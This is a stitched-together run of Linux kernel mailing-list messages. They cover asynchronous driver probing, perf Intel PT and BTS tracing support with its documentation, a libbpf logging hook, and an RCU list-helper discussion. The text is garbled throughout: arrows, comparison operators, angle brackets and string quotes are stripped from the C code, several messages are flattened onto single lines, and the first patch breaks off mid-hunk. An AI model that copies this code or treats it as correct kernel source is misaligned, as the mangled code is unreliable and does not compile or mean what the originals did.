fixing the rest of the drivers and preparing userspace.
This change is based on earlier patch by Luis R. Rodriguez
mcg...@suse.com
Signed-off-by: Dmitry Torokhov dmitry.torok...@gmail.com
---
drivers/base/base.h| 1 +
drivers/base/bus.c | 31 +++---
drivers/base/dd.c | 149
++---
include/linux/device.h | 28 ++
4 files changed, 182 insertions(+), 27 deletions(-)
diff --git a/drivers/base/base.h b/drivers/base/base.h
index 251c5d3..fd3347d 100644
--- a/drivers/base/base.h
+++ b/drivers/base/base.h
@@ -116,6 +116,7 @@ static inline int driver_match_device(struct
device_driver *drv,
{
return drv-bus-match ? drv-bus-match(dev, drv) : 1;
}
+extern bool driver_allows_async_probing(struct device_driver *drv);
extern int driver_add_groups(struct device_driver *drv,
const struct attribute_group **groups);
diff --git a/drivers/base/bus.c b/drivers/base/bus.c
index 79bc203..5005924 100644
--- a/drivers/base/bus.c
+++ b/drivers/base/bus.c
@@ -10,6 +10,7 @@
*
*/
+#include linux/async.h
#include linux/device.h
#include linux/module.h
#include linux/errno.h
@@ -549,15 +550,12 @@ void bus_probe_device(struct device *dev)
{
struct bus_type *bus = dev-bus;
struct subsys_interface *sif;
- int ret;
if (!bus)
return;
- if (bus-p-drivers_autoprobe) {
- ret = device_attach(dev);
- WARN_ON(ret 0);
- }
+ if (bus-p-drivers_autoprobe)
+ device_initial_probe(dev);
mutex_lock(bus-p-mutex);
list_for_each_entry(sif, bus-p-interfaces, node)
@@ -659,6 +657,17 @@ static ssize_t uevent_store(struct device_driver *drv,
const char *buf,
}
static DRIVER_ATTR_WO(uevent);
+static void driver_attach_async(void *_drv, async_cookie_t cookie)
+{
+ struct device_driver *drv = _drv;
+ int ret;
+
+ ret = driver_attach(drv);
+
+ pr_debug(bus: '%s': driver %s async attach completed: %d\n,
+drv-bus-name, drv-name, ret);
+}
+
/**
* bus_add_driver - Add a driver to the bus.
* @drv: driver.
@@ -691,9 +700,15 @@
Re: [PATCH tip/perf/core] perf probe: Fix 'function unused' warning
Em Thu, May 28, 2015 at 02:27:13PM +0900, Masami Hiramatsu escreveu: On 2015/05/28 11:25, Wang Nan wrote: By 'make build-test' a warning is found in probe-event.c that, after commit 419e873828 (perf probe: Show the error reason comes from invalid DSO) the only user of kernel_get_module_dso() is open_debuginfo(). Which is not compiled if HAVE_DWARF_SUPPORT not set. 'make build-test' found this problem when make_minimal. Ah, right! This patch moves kernel_get_module_dso() to HAVE_DWARF_SUPPORT ifdef section. Signed-off-by: Wang Nan wangn...@huawei.com Acked-by: Masami Hiramatsu masami.hiramatsu...@hitachi.com Thanks, applied! - Arnaldo -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] perf tools: introduce arm64 support unwind test.
Em Fri, May 29, 2015 at 11:21:19AM +0200, Jiri Olsa escreveu: On Thu, May 28, 2015 at 10:43:14AM -0300, Arnaldo Carvalho de Melo wrote: Em Thu, May 28, 2015 at 03:17:26PM +0800, Wangnan (F) escreveu: Ping? Jiri, Ack? yep, I've already ack-ed that.. should be on the lkml somewhere ;-) And from a quick look, isn't this better split in two pieces, i.e. the first wiring up ARM64 to libunwing, i.e. all those perf_regs.h files being added to tools/perf/arch/arm64/, and then a second patch, enabling the dwarf unwind 'perf test' entry to run on ARM64? I guess.. but the change is fairly small, so it did not occur to me as necessary.. :-) I felt mislead when looking at the subject, i.e. hey, a new test, testing unwind on arm64, no, it wasn't that, it introduces support for unwind on ARM64 by providing that regs mapping, then it _enables_ an existing test on arm64 :-\ - Arnaldo -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
[PATCH V6 03/17] perf auxtrace: Add Intel PT as an AUX area tracing type
Add the Intel Processor Trace type constant PERF_AUXTRACE_INTEL_PT.
Signed-off-by: Adrian Hunter adrian.hun...@intel.com
Acked-by: Jiri Olsa jo...@kernel.org
---
tools/perf/util/auxtrace.c | 1 +
tools/perf/util/auxtrace.h | 1 +
2 files changed, 2 insertions(+)
diff --git a/tools/perf/util/auxtrace.c b/tools/perf/util/auxtrace.c
index df66966..734c4d2 100644
--- a/tools/perf/util/auxtrace.c
+++ b/tools/perf/util/auxtrace.c
@@ -884,6 +884,7 @@ int perf_event__process_auxtrace_info(struct perf_tool
*tool __maybe_unused,
fprintf(stdout, type: %u\n, type);
switch (type) {
+ case PERF_AUXTRACE_INTEL_PT:
case PERF_AUXTRACE_UNKNOWN:
default:
return -EINVAL;
diff --git a/tools/perf/util/auxtrace.h b/tools/perf/util/auxtrace.h
index a171abb..ed98743 100644
--- a/tools/perf/util/auxtrace.h
+++ b/tools/perf/util/auxtrace.h
@@ -39,6 +39,7 @@ struct events_stats;
enum auxtrace_type {
PERF_AUXTRACE_UNKNOWN,
+ PERF_AUXTRACE_INTEL_PT,
};
enum itrace_period_type {
--
1.9.1
--
To unsubscribe from this list: send the line unsubscribe linux-kernel in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
[PATCH V6 09/17] perf tools: Take Intel PT into use
To record an AUX area, the weak function auxtrace_record__init() must be implemented. Equally to decode an AUX area, the AUX area tracing type must be added to the perf_event__process_auxtrace_info() function. This patch makes those two changes plus hooks up default config for the intel_pt PMU. Also some brief documentation is provided for using the tools with intel_pt. Signed-off-by: Adrian Hunter adrian.hun...@intel.com --- tools/perf/Documentation/intel-pt.txt | 588 ++ tools/perf/arch/x86/util/Build| 2 + tools/perf/arch/x86/util/auxtrace.c | 38 +++ tools/perf/arch/x86/util/pmu.c| 15 + tools/perf/util/auxtrace.c| 5 +- tools/perf/util/pmu.c | 4 +- 6 files changed, 649 insertions(+), 3 deletions(-) create mode 100644 tools/perf/Documentation/intel-pt.txt create mode 100644 tools/perf/arch/x86/util/auxtrace.c create mode 100644 tools/perf/arch/x86/util/pmu.c diff --git a/tools/perf/Documentation/intel-pt.txt b/tools/perf/Documentation/intel-pt.txt new file mode 100644 index 000..2866b62 --- /dev/null +++ b/tools/perf/Documentation/intel-pt.txt @@ -0,0 +1,588 @@ +Intel Processor Trace += + +Overview + + +Intel Processor Trace (Intel PT) is an extension of Intel Architecture that +collects information about software execution such as control flow, execution +modes and timings and formats it into highly compressed binary packets. +Technical details are documented in the Intel 64 and IA-32 Architectures +Software Developer Manuals, Chapter 36 Intel Processor Trace. + +Intel PT is first supported in Intel Core M and 5th generation Intel Core +processors that are based on the Intel micro-architecture code name Broadwell. + +Trace data is collected by 'perf record' and stored within the perf.data file. +See below for options to 'perf record'. + +Trace data must be 'decoded' which involves walking the object code and matching +the trace data packets. For example a TNT packet only tells whether a +conditional branch was taken or not taken, so to make use of that packet the +decoder must know precisely which instruction was being executed. + +Decoding is done on-the-fly. The decoder outputs samples in the same format as +samples output by perf hardware events, for example as though the instructions +or branches events had been recorded. Presently 3 tools support this: +'perf script', 'perf report' and 'perf inject'. See below for more information +on using those tools. + +The main distinguishing feature of Intel PT is that the decoder can determine +the exact flow of software execution. Intel PT can be used to understand why +and how did software get to a certain point, or behave a certain way. The +software does not have to be recompiled, so Intel PT works with debug or release +builds, however the executed images are needed - which makes use in JIT-compiled +environments, or with self-modified code, a challenge. Also symbols need to be +provided to make sense of addresses. + +A limitation of Intel PT is that it produces huge amounts of trace data +(hundreds of megabytes per second per core) which takes a long time to decode, +for example two or three orders of magnitude longer than it took to collect. +Another limitation is the performance impact of tracing, something that will +vary depending on the use-case and architecture. + + +Quickstart +== + +It is important to start small. That is because it is easy to capture vastly +more data than can possibly be processed. + +The simplest thing to do with Intel PT is userspace profiling of small programs. +Data is captured with 'perf record' e.g. to trace 'ls' userspace-only: + + perf record -e intel_pt//u ls + +And profiled with 'perf report' e.g. + + perf report + +To also trace kernel space presents a problem, namely kernel self-modifying +code. A fairly good kernel image is available in /proc/kcore but to get an +accurate image a copy of /proc/kcore needs to be made under the same conditions +as the data capture. A script perf-with-kcore can do that, but beware that the +script makes use of 'sudo' to copy /proc/kcore. If you have perf installed +locally from the source tree you can do: + + ~/libexec/perf-core/perf-with-kcore record pt_ls -e intel_pt// -- ls + +which will create a directory named 'pt_ls' and put the perf.data file and +copies of /proc/kcore, /proc/kallsyms and /proc/modules into it. Then to use +'perf report' becomes: + + ~/libexec/perf-core/perf-with-kcore report pt_ls + +Because samples are synthesized after-the-fact, the sampling period can be +selected for reporting. e.g. sample every microsecond + + ~/libexec/perf-core/perf-with-kcore report pt_ls --itrace=i1usge + +See the sections below for more information about the --itrace option. + +Beware the smaller the period, the more samples that are produced, and the +longer it takes to process them. + +Also note
[PATCH V6 06/17] perf tools: Add Intel PT log
Add a facility to log Intel Processor Trace decoding. The log is
intended for debugging purposes only.
The log file name is intel_pt.log and is opened in the current
directory. The log contains a record of all packets and
instructions decoded and can get very large (10 MB would be a
small one).
Signed-off-by: Adrian Hunter adrian.hun...@intel.com
---
tools/perf/util/intel-pt-decoder/Build | 2 +-
tools/perf/util/intel-pt-decoder/intel-pt-log.c | 155
tools/perf/util/intel-pt-decoder/intel-pt-log.h | 52
3 files changed, 208 insertions(+), 1 deletion(-)
create mode 100644 tools/perf/util/intel-pt-decoder/intel-pt-log.c
create mode 100644 tools/perf/util/intel-pt-decoder/intel-pt-log.h
diff --git a/tools/perf/util/intel-pt-decoder/Build
b/tools/perf/util/intel-pt-decoder/Build
index f5f7f87..587321a 100644
--- a/tools/perf/util/intel-pt-decoder/Build
+++ b/tools/perf/util/intel-pt-decoder/Build
@@ -1,4 +1,4 @@
-libperf-$(CONFIG_AUXTRACE) += intel-pt-pkt-decoder.o intel-pt-insn-decoder.o
+libperf-$(CONFIG_AUXTRACE) += intel-pt-pkt-decoder.o intel-pt-insn-decoder.o
intel-pt-log.o
inat_tables_script = ../../arch/x86/tools/gen-insn-attr-x86.awk
inat_tables_maps = ../../arch/x86/lib/x86-opcode-map.txt
diff --git a/tools/perf/util/intel-pt-decoder/intel-pt-log.c
b/tools/perf/util/intel-pt-decoder/intel-pt-log.c
new file mode 100644
index 000..d09c7d9
--- /dev/null
+++ b/tools/perf/util/intel-pt-decoder/intel-pt-log.c
@@ -0,0 +1,155 @@
+/*
+ * intel_pt_log.c: Intel Processor Trace support
+ * Copyright (c) 2013-2014, Intel Corporation.
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms and conditions of the GNU General Public License,
+ * version 2, as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
+ * more details.
+ *
+ */
+
+#include stdio.h
+#include stdint.h
+#include inttypes.h
+#include stdarg.h
+#include stdbool.h
+#include string.h
+
+#include intel-pt-log.h
+#include intel-pt-insn-decoder.h
+
+#include intel-pt-pkt-decoder.h
+
+#define MAX_LOG_NAME 256
+
+static FILE *f;
+static char log_name[MAX_LOG_NAME];
+static bool enable_logging;
+
+void intel_pt_log_enable(void)
+{
+ enable_logging = true;
+}
+
+void intel_pt_log_disable(void)
+{
+ if (f)
+ fflush(f);
+ enable_logging = false;
+}
+
+void intel_pt_log_set_name(const char *name)
+{
+ strncpy(log_name, name, MAX_LOG_NAME - 5);
+ strcat(log_name, .log);
+}
+
+static void intel_pt_print_data(const unsigned char *buf, int len, uint64_t
pos,
+ int indent)
+{
+ int i;
+
+ for (i = 0; i indent; i++)
+ fprintf(f, );
+
+ fprintf(f, %08 PRIx64 : , pos);
+ for (i = 0; i len; i++)
+ fprintf(f, %02x, buf[i]);
+ for (; i 16; i++)
+ fprintf(f,);
+ fprintf(f, );
+}
+
+static void intel_pt_print_no_data(uint64_t pos, int indent)
+{
+ int i;
+
+ for (i = 0; i indent; i++)
+ fprintf(f, );
+
+ fprintf(f, %08 PRIx64 : , pos);
+ for (i = 0; i 16; i++)
+ fprintf(f,);
+ fprintf(f, );
+}
+
+static int intel_pt_log_open(void)
+{
+ if (!enable_logging)
+ return -1;
+
+ if (f)
+ return 0;
+
+ if (!log_name[0])
+ return -1;
+
+ f = fopen(log_name, w+);
+ if (!f) {
+ enable_logging = false;
+ return -1;
+ }
+
+ return 0;
+}
+
+void intel_pt_log_packet(const struct intel_pt_pkt *packet, int pkt_len,
+uint64_t pos, const unsigned char *buf)
+{
+ char desc[INTEL_PT_PKT_DESC_MAX];
+
+ if (intel_pt_log_open())
+ return;
+
+ intel_pt_print_data(buf, pkt_len, pos, 0);
+ intel_pt_pkt_desc(packet, desc, INTEL_PT_PKT_DESC_MAX);
+ fprintf(f, %s\n, desc);
+}
+
+void intel_pt_log_insn(struct intel_pt_insn *intel_pt_insn, uint64_t ip)
+{
+ char desc[INTEL_PT_INSN_DESC_MAX];
+ size_t len = intel_pt_insn-length;
+
+ if (intel_pt_log_open())
+ return;
+
+ if (len INTEL_PT_INSN_DBG_BUF_SZ)
+ len = INTEL_PT_INSN_DBG_BUF_SZ;
+ intel_pt_print_data(intel_pt_insn-buf, len, ip, 8);
+ if (intel_pt_insn_desc(intel_pt_insn, desc, INTEL_PT_INSN_DESC_MAX) 0)
+ fprintf(f, %s\n, desc);
+ else
+ fprintf(f, Bad instruction!\n);
+}
+
+void intel_pt_log_insn_no_data(struct intel_pt_insn *intel_pt_insn, uint64_t
ip)
+{
+ char desc[INTEL_PT_INSN_DESC_MAX];
+
+ if (intel_pt_log_open())
+ return;
+
+ intel_pt_print_no_data(ip, 8);
+ if
Re: [RFC PATCH v4 05/29] bpf tools: Allow caller to set printing function
Hi Wang,
On Wed, May 27, 2015 at 05:19:40AM +, Wang Nan wrote:
By libbpf_set_print(), users of libbpf are allowed to register he/she
own debug, info and warning printing functions. Libbpf will use those
functions to print messages. If not provided, default info and warning
printing functions are fprintf(stderr, ...); defailt debug printing
is NULL.
This API is designed to be used by perf, enables it to register its own
logging functions to make all logs uniform, instead of separated
logging level control.
Acked-by: Alexei Starovoitov a...@plumgrid.com
Signed-off-by: Wang Nan wangn...@huawei.com
---
tools/lib/bpf/libbpf.c | 43 +++
tools/lib/bpf/libbpf.h | 4
2 files changed, 47 insertions(+)
diff --git a/tools/lib/bpf/libbpf.c b/tools/lib/bpf/libbpf.c
index c08d6bc..49091c3 100644
--- a/tools/lib/bpf/libbpf.c
+++ b/tools/lib/bpf/libbpf.c
@@ -7,8 +7,51 @@
*/
#include stdlib.h
+#include stdio.h
+#include stdarg.h
+#include string.h
#include unistd.h
#include asm/unistd.h
#include linux/bpf.h
#include libbpf.h
+
+#define __printf(a, b) __attribute__((format(printf, a, b)))
+
+__printf(1, 2)
+static int __base_pr(const char *format, ...)
+{
+ va_list args;
+ int err;
+
+ va_start(args, format);
+ err = vfprintf(stderr, format, args);
+ va_end(args);
+ return err;
+}
+
+static __printf(1, 2) int (*__pr_warning)(const char *format, ...) =
+ __base_pr;
+static __printf(1, 2) int (*__pr_info)(const char *format, ...) =
+ __base_pr;
+static __printf(1, 2) int (*__pr_debug)(const char *format, ...) =
+ NULL;
What about using typedef for this.. like print_fn_t ?
Thanks,
Namhyung
+
+#define __pr(func, fmt, ...) \
+do { \
+ if ((func)) \
+ (func)(libbpf: fmt, ##__VA_ARGS__); \
+} while(0)
+
+#define pr_warning(fmt, ...) __pr(__pr_warning, fmt, ##__VA_ARGS__)
+#define pr_info(fmt, ...)__pr(__pr_info, fmt, ##__VA_ARGS__)
+#define pr_debug(fmt, ...) __pr(__pr_debug, fmt, ##__VA_ARGS__)
+
+void libbpf_set_print(int (*warn)(const char *format, ...),
+ int (*info)(const char *format, ...),
+ int (*debug)(const char *format, ...))
+{
+ __pr_warning = warn;
+ __pr_info = info;
+ __pr_debug = debug;
+}
diff --git a/tools/lib/bpf/libbpf.h b/tools/lib/bpf/libbpf.h
index a6f46d9..430b122 100644
--- a/tools/lib/bpf/libbpf.h
+++ b/tools/lib/bpf/libbpf.h
@@ -8,4 +8,8 @@
#ifndef __BPF_LIBBPF_H
#define __BPF_LIBBPF_H
+void libbpf_set_print(int (*warn)(const char *format, ...),
+ int (*info)(const char *format, ...),
+ int (*debug)(const char *format, ...));
+
#endif
--
1.8.3.4
--
To unsubscribe from this list: send the line unsubscribe linux-kernel in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
[PATCH V6 15/17] perf tools: Intel BTS to always update thread stack trace number
The enhanced thread stack is used by higher layers but still requires
the trace number. The trace number is used to distinguish discontinuous
sections of trace (for example from Snapshot mode or Sample mode), which
cause the thread stack to be flushed.
Signed-off-by: Adrian Hunter adrian.hun...@intel.com
---
tools/perf/util/intel-bts.c | 18 ++
1 file changed, 14 insertions(+), 4 deletions(-)
diff --git a/tools/perf/util/intel-bts.c b/tools/perf/util/intel-bts.c
index b068860..cd7bde3 100644
--- a/tools/perf/util/intel-bts.c
+++ b/tools/perf/util/intel-bts.c
@@ -27,6 +27,8 @@
#include machine.h
#include session.h
#include util.h
+#include thread.h
+#include thread-stack.h
#include debug.h
#include tsc.h
#include auxtrace.h
@@ -443,19 +445,22 @@ static int intel_bts_process_buffer(struct
intel_bts_queue *btsq,
static int intel_bts_process_queue(struct intel_bts_queue *btsq, u64
*timestamp)
{
- struct auxtrace_buffer *buffer = btsq-buffer;
+ struct auxtrace_buffer *buffer = btsq-buffer, *old_buffer = buffer;
struct auxtrace_queue *queue;
+ struct thread *thread;
int err;
if (btsq-done)
return 1;
if (btsq-pid == -1) {
- struct thread *thread;
-
- thread = machine__find_thread(btsq-bts-machine, -1,
btsq-tid);
+ thread = machine__find_thread(btsq-bts-machine, -1,
+ btsq-tid);
if (thread)
btsq-pid = thread-pid_;
+ } else {
+ thread = machine__findnew_thread(btsq-bts-machine, btsq-pid,
+btsq-tid);
}
queue = btsq-bts-queues.queue_array[btsq-queue_nr];
@@ -485,6 +490,11 @@ static int intel_bts_process_queue(struct intel_bts_queue
*btsq, u64 *timestamp)
intel_bts_do_fix_overlap(queue, buffer))
return -ENOMEM;
+ if (!btsq-bts-synth_opts.callchain thread
+ (!old_buffer || btsq-bts-sampling_mode ||
+(btsq-bts-snapshot_mode !buffer-consecutive)))
+ thread_stack__set_trace_nr(thread, buffer-buffer_nr + 1);
+
err = intel_bts_process_buffer(btsq, buffer);
auxtrace_buffer__drop_data(buffer);
--
1.9.1
--
To unsubscribe from this list: send the line unsubscribe linux-kernel in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
[PATCH V6 05/17] perf tools: Add Intel PT instruction decoder
Add support for decoding instructions for Intel Processor Trace. The kernel x86 instruction decoder is used for this. This essentially provides intel_pt_get_insn() which takes a binary buffer, uses the kernel's x86 instruction decoder to get details of the instruction and then categorizes it for consumption by an Intel PT decoder. Signed-off-by: Adrian Hunter adrian.hun...@intel.com --- tools/build/Makefile.build | 2 + tools/perf/.gitignore | 2 + tools/perf/Makefile.perf | 12 +- tools/perf/util/intel-pt-decoder/Build | 15 +- .../util/intel-pt-decoder/intel-pt-insn-decoder.c | 246 + .../util/intel-pt-decoder/intel-pt-insn-decoder.h | 65 ++ 6 files changed, 339 insertions(+), 3 deletions(-) create mode 100644 tools/perf/util/intel-pt-decoder/intel-pt-insn-decoder.c create mode 100644 tools/perf/util/intel-pt-decoder/intel-pt-insn-decoder.h diff --git a/tools/build/Makefile.build b/tools/build/Makefile.build index 10df572..7ad74e4 100644 --- a/tools/build/Makefile.build +++ b/tools/build/Makefile.build @@ -57,6 +57,8 @@ quiet_cmd_cc_i_c = CPP $@ quiet_cmd_cc_s_c = AS $@ cmd_cc_s_c = $(CC) $(c_flags) -S -o $@ $ +quiet_cmd_gen = GEN $@ + # Link agregate command # If there's nothing to link, create empty $@ object. quiet_cmd_ld_multi = LD $@ diff --git a/tools/perf/.gitignore b/tools/perf/.gitignore index 812f904..c88d5c5 100644 --- a/tools/perf/.gitignore +++ b/tools/perf/.gitignore @@ -28,3 +28,5 @@ config.mak.autogen *-flex.* *.pyc *.pyo +util/intel-pt-decoder/inat-tables.c +util/intel-pt-decoder/inat.c diff --git a/tools/perf/Makefile.perf b/tools/perf/Makefile.perf index 5816a3b..3ae3a8e 100644 --- a/tools/perf/Makefile.perf +++ b/tools/perf/Makefile.perf @@ -76,6 +76,12 @@ include config/utilities.mak # # Define NO_AUXTRACE if you do not want AUX area tracing support +# As per kernel Makefile, avoid funny character set dependencies +unexport LC_ALL +LC_COLLATE=C +LC_NUMERIC=C +export LC_COLLATE LC_NUMERIC + ifeq ($(srctree),) srctree := $(patsubst %/,%,$(dir $(shell pwd))) srctree := $(patsubst %/,%,$(dir $(srctree))) @@ -122,6 +128,7 @@ INSTALL = install FLEX= flex BISON = bison STRIP = strip +AWK = awk LIB_DIR = $(srctree)/tools/lib/api/ TRACE_EVENT_DIR = $(srctree)/tools/lib/traceevent/ @@ -272,7 +279,7 @@ strip: $(PROGRAMS) $(OUTPUT)perf PERF_IN := $(OUTPUT)perf-in.o -export srctree OUTPUT RM CC LD AR CFLAGS V BISON FLEX +export srctree OUTPUT RM CC LD AR CFLAGS V BISON FLEX AWK build := -f $(srctree)/tools/build/Makefile.build dir=. obj $(PERF_IN): $(OUTPUT)PERF-VERSION-FILE $(OUTPUT)common-cmds.h FORCE @@ -536,7 +543,8 @@ clean: $(LIBTRACEEVENT)-clean $(LIBAPI)-clean config-clean $(Q)find . -name '*.o' -delete -o -name '\.*.cmd' -delete -o -name '\.*.d' -delete $(Q)$(RM) .config-detected $(call QUIET_CLEAN, core-progs) $(RM) $(ALL_PROGRAMS) perf perf-read-vdso32 perf-read-vdsox32 - $(call QUIET_CLEAN, core-gen) $(RM) *.spec *.pyc *.pyo */*.pyc */*.pyo $(OUTPUT)common-cmds.h TAGS tags cscope* $(OUTPUT)PERF-VERSION-FILE $(OUTPUT)FEATURE-DUMP $(OUTPUT)util/*-bison* $(OUTPUT)util/*-flex* + $(call QUIET_CLEAN, core-gen) $(RM) *.spec *.pyc *.pyo */*.pyc */*.pyo $(OUTPUT)common-cmds.h TAGS tags cscope* $(OUTPUT)PERF-VERSION-FILE $(OUTPUT)FEATURE-DUMP $(OUTPUT)util/*-bison* $(OUTPUT)util/*-flex* \ + $(OUTPUT)util/intel-pt-decoder/inat.c $(OUTPUT)util/intel-pt-decoder/inat-tables.c $(QUIET_SUBDIR0)Documentation $(QUIET_SUBDIR1) clean $(python-clean) diff --git a/tools/perf/util/intel-pt-decoder/Build b/tools/perf/util/intel-pt-decoder/Build index 9d67381..f5f7f87 100644 --- a/tools/perf/util/intel-pt-decoder/Build +++ b/tools/perf/util/intel-pt-decoder/Build @@ -1 +1,14 @@ -libperf-$(CONFIG_AUXTRACE) += intel-pt-pkt-decoder.o +libperf-$(CONFIG_AUXTRACE) += intel-pt-pkt-decoder.o intel-pt-insn-decoder.o + +inat_tables_script = ../../arch/x86/tools/gen-insn-attr-x86.awk +inat_tables_maps = ../../arch/x86/lib/x86-opcode-map.txt + +$(OUTPUT)util/intel-pt-decoder/inat-tables.c: $(inat_tables_script) $(inat_tables_maps) + @$(call echo-cmd,gen)$(AWK) -f $(inat_tables_script) $(inat_tables_maps) $@ || rm -f $@ + +$(OUTPUT)util/intel-pt-decoder/inat.c: + @$(call echo-cmd,gen)cp ../../arch/x86/lib/inat.c $(OUTPUT)util/intel-pt-decoder/inat.c + +$(OUTPUT)util/intel-pt-decoder/intel-pt-insn-decoder.o: $(OUTPUT)util/intel-pt-decoder/inat.c $(OUTPUT)util/intel-pt-decoder/inat-tables.c + +CFLAGS_intel-pt-insn-decoder.o += -I../../arch/x86/include -I$(OUTPUT)util/intel-pt-decoder -I../../arch/x86/lib -Wno-override-init diff --git a/tools/perf/util/intel-pt-decoder/intel-pt-insn-decoder.c b/tools/perf/util/intel-pt-decoder/intel-pt-insn-decoder.c new file mode 100644 index 000..2fa82c5 --- /dev/null +++
[PATCH V6 10/17] perf tools: Allow auxtrace data alignment
Allow auxtrace data to be a multiple of something other than page size.
That is needed for BTS where the buffer contains 24-byte records.
Signed-off-by: Adrian Hunter adrian.hun...@intel.com
---
tools/perf/util/auxtrace.c | 7 +++
tools/perf/util/auxtrace.h | 1 +
2 files changed, 8 insertions(+)
diff --git a/tools/perf/util/auxtrace.c b/tools/perf/util/auxtrace.c
index 8b7d59a..2d57759 100644
--- a/tools/perf/util/auxtrace.c
+++ b/tools/perf/util/auxtrace.c
@@ -1186,6 +1186,13 @@ static int __auxtrace_mmap__read(struct auxtrace_mmap
*mm,
data2 = NULL;
}
+ if (itr-alignment) {
+ unsigned int unwanted = len1 % itr-alignment;
+
+ len1 -= unwanted;
+ size -= unwanted;
+ }
+
/* padding must be written by fn() e.g. record__process_auxtrace() */
padding = size 7;
if (padding)
diff --git a/tools/perf/util/auxtrace.h b/tools/perf/util/auxtrace.h
index ed98743..7d12f33 100644
--- a/tools/perf/util/auxtrace.h
+++ b/tools/perf/util/auxtrace.h
@@ -304,6 +304,7 @@ struct auxtrace_record {
const char *str);
u64 (*reference)(struct auxtrace_record *itr);
int (*read_finish)(struct auxtrace_record *itr, int idx);
+ unsigned int alignment;
};
#ifdef HAVE_AUXTRACE_SUPPORT
--
1.9.1
--
To unsubscribe from this list: send the line unsubscribe linux-kernel in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 1/2] rcu: introduce list_last_or_null_rcu
On Thu, May 28, 2015 at 6:29 PM, Paul E. McKenney
paul...@linux.vnet.ibm.com wrote:
On Thu, May 28, 2015 at 05:24:14PM -0400, Dan Streetman wrote:
On Thu, May 28, 2015 at 5:16 PM, Paul E. McKenney
paul...@linux.vnet.ibm.com wrote:
On Thu, May 28, 2015 at 05:12:00PM -0400, Dan Streetman wrote:
On Thu, May 28, 2015 at 5:05 PM, Steven Rostedt rost...@goodmis.org
wrote:
On Thu, 28 May 2015 16:35:27 -0400
Dan Streetman ddstr...@ieee.org wrote:
Add list_last_or_null_rcu(), to simplify getting the last entry from a
rcu-protected list. The standard list_last_entry() can't be used as it
is not rcu-protected; the list may be modified concurrently. And the
-prev pointer can't be used, as only the -next pointers are protected
by rcu.
This simply iterates forward through the entire list, to get to the
last
entry. If the list is empty, it returns NULL.
May I asked what this would be used for? It seems awfully inefficient
in its implementation. What use cases would this be for? I hate to add
something like this as a generic function which would encourage people
to use it. Iterating over an entire list to find the last element is
just nasty.
i have a patch series that will update zswap to be able to change its
parameters at runtime, instead of only at boot time. To do that, it
creates new pools dynamically, and keeps them all in a list, with
only the 1st pool being actively used; any following pools still have
everything that was stored in them, but they aren't added to. When
zswap has to shrink - by telling one of the pools to get rid of 1 or
more items - it picks the last on the list. Once a pool is empty,
it's removed/freed.
So zswap *could* just manually iterate the list to the last element,
instead of using this new function. But if rcu lists are ever
improved later on, e.g. if -prev is somehow rcu-protected as well as
-next, then this function should be faster than manually iterating.
if there's a better rcu-way to get to the last list entry, then we
should definitely use it, although based on my understanding of the
rcu list implementation, you can only iterate forwards, safely
(without locking).
The usual approach would be to maintain a tail pointer. How big are
these lists likely to get?
in the vast majority of cases, it'll only be 1 entry; the list is only
added to when the user decides to change the pool type or compression
function, which during normal operation will probably happen very
rarely. So in most situations, the function will just be a 1-step for
loop. I'm only proposing this function since it may be useful to
optimize last-rcu-entry access later, and maybe for other users.
Fair enough.
re: keeping a rcu-safe tail pointer, how is that done? i assume since
head-prev isn't rcu protected (is it?), it would need to be separate
from the list, and thus would need to be spinlock-protected and
updated at each list update?
Yep, each update that changed the tail would need to change the tail
pointer, and that would need to be protected from other updates.
But if the lists were long, one approach would be to provide a
list_del_rcu_bidir() or some such that didn't poison the -prev pointer,
and then use rcu_dereference() to traverse the head element's -prev
pointer, as you suggested above. I have resisted doing that due to
debugging issues, but if there turns out to be a strong need, let's talk.
I was thinking; since the head element is never removed, its -prev
pointer will never be poisoned; is something like this safe?
/* this can only be called on the head, not on any entry;
* specifically this is not safe to call on any entry that
* may be removed with list_del_rcu() or list_replace_rcu().
*/
#define list_last_or_null_rcu(head, type, member) \
({ \
struct list_head *__last = (head)-prev; \
__last != (head) ? list_entry_rcu(__last) : NULL; \
})
I was thinking that's unsafe because the head-prev pointer can be
updated directly, such as during list_del_rcu(last_entry) which will
directly reassign head-prev to the new last entry; but maybe that is
ok since list_del_rcu(first_entry) also directly reassigns head-next
to the new first entry?
Thanx, Paul
--
To unsubscribe from this list: send the line unsubscribe linux-kernel in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
